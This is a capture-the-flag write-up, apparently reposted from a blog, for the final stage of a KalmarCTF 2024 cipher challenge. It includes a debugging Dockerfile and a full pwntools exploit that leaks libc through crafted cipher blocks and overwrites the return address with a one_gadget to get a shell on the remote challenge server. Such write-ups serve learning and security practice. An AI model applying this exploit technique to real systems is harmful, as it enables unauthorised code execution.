Rating:

*For the full experience with images see the original blog post! (It contains all stages.)*

Now, funny enough I already built a write gadget for the second challenge.
For this one, I simply cleaned up the code a lot and fixed a few bugs where I accidentally overwrote stuff (because I didn't send null bytes in plaintext bytes I didn't specifically need).
For testing, we used a Dockerfile of another challenge that Ordoviz hijacked for this challenge and I inserted some debugging:

```Dockerfile
FROM ubuntu:22.04@sha256:f9d633ff6640178c2d0525017174a688e2c1aef28f0a0130b26bd5554491f0da

RUN apt update && apt install -y socat
RUN apt-get -y install gdbserver

RUN mkdir /app
RUN useradd ctf

COPY challenge /app/challenge

USER ctf

EXPOSE 1337

# CMD socat tcp-l:1337,reuseaddr,fork exec:/app/challenge,pty,echo=0,raw,iexten=0
CMD [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:'gdbserver 0.0.0.0:1234 /app/challenge',pty,echo=0,raw,iexten=0" ]
```

The provided binary had some magic gadgets we found with `one_gadget`.
When using a key of `'a'*16` we found a stable setup with the required registers pointing to the zero buffer on the stack after the flag.
With that, we spawned a shell on the remote and got the final flag:

shell on remote with cat flag

```py
from dataclasses import dataclass
import pwn

from decrypt import PERMUTATION, decrypt_block, from_nibbles, to_nibbles

@dataclass
class Block:
key: str # hex string
shifts: list[int]
plaintext: bytes

PERMUTATION_LOOKUP = [0] * 16
for i in range(16):
PERMUTATION_LOOKUP[PERMUTATION[i]] = i

PATH = "./challenge_patched"
RETURN_OFFSET = 0x58
SHIFTS_OFFSET = 0x10
LIBC_LEAK = 0x28 - SHIFTS_OFFSET
LEAK_OFFSET = 0x62142

binary = pwn.ELF(PATH)

# Currently 8 bytes only, max offset 127
def build_payload(payload: bytes, offset: int):
assert len(payload) == 8
assert offset <= 127

shifts = [0] * 16
shifts[0] = offset * 2

out = [0] * 16
payload_nibbles = to_nibbles(payload)
for i in range(16):
out[i] = payload_nibbles[PERMUTATION_LOOKUP[i]]

real_payload = from_nibbles(out)

return Block("a" * 16, shifts, real_payload)

def send_block(conn: pwn.tube, block: Block):
conn.recvuntil(b"Please provide a key for block ")
conn.recvuntil(b": ")
conn.sendline(block.key.encode())
for pos in range(16):
conn.recvuntil(b": ")
conn.sendline(hex(block.shifts[pos])[2:].encode())
conn.recvuntil(b"Please provide plaintext for block")
conn.recvuntil(b": ")
conn.sendline(block.plaintext.hex().encode())

def unscramble(upper, lower):
if upper >= lower:
return (upper - lower) << 4 | lower & 0xF
else:
return (0x10 + upper - lower) << 4 | lower & 0xF

def reconstruct_data(read_data: bytes, key: str):
shifts = [0] * 15
dec = decrypt_block(to_nibbles(bytes.fromhex(key)), shifts, to_nibbles(read_data))

fixed_data = bytes(
[unscramble(dec[-2], dec[-1])]
)

return fixed_data

def read_byte(conn: pwn.tube, offset: int):
conn.recvuntil(b"Number of blocks: ")
conn.sendline(b"1")

block = build_payload((offset).to_bytes(1) + b"\x00"*7, SHIFTS_OFFSET)
block.key = "0"*16
send_block(conn, block)

conn.recvuntil(b"Block 0: ")
read_leak = conn.recvline()[:-1].decode()
# print("leak:", read_leak)
return reconstruct_data(bytes.fromhex(read_leak), block.key)[0]

def read_bytes(conn: pwn.tube, offsets: list[int]):
data = []
for off in offsets:
data.append(read_byte(conn, off))

return bytes(data)[::-1]

def create_conn():
if pwn.args.GDB:
conn = pwn.gdb.debug(PATH, aslr=True)
elif pwn.args.REMOTE:
conn = pwn.remote("chal-kalmarc.tf", 8)
elif pwn.args.DOCKER:
conn = pwn.remote("localhost", 1337)
else:
conn = pwn.process(PATH)
return conn

def main():
with create_conn() as conn:
OFFSET = 0x80

print(read_byte(conn, LIBC_LEAK+1))
leak = read_bytes(conn, [(LIBC_LEAK + o) for o in range(8)])
print(leak.hex())
libc_base = int.from_bytes(leak, 'big') - LEAK_OFFSET
print(hex(libc_base))

input()

conn.recvuntil(b"Number of blocks: ")
conn.sendline(b"1")
block = build_payload((libc_base+0xebc85).to_bytes(8, 'little'), RETURN_OFFSET)
block.key = "a" * 16
send_block(conn, block)

conn.interactive()
pass

if __name__ == "__main__":
main()

```

## Final words

The challenge provided a lot of opportunities I didn't use.
For example, you could of course send more than one block at a time to easily expand both read and write.
Then, you could read all at once, set up ROP easily and so on.
That's what I like about this challenge: It provides a lot of room for creative solutions.
Try out your own ideas!

Original writeup (https://ik0ri4n.de/kalmarctf-24-symmetry/).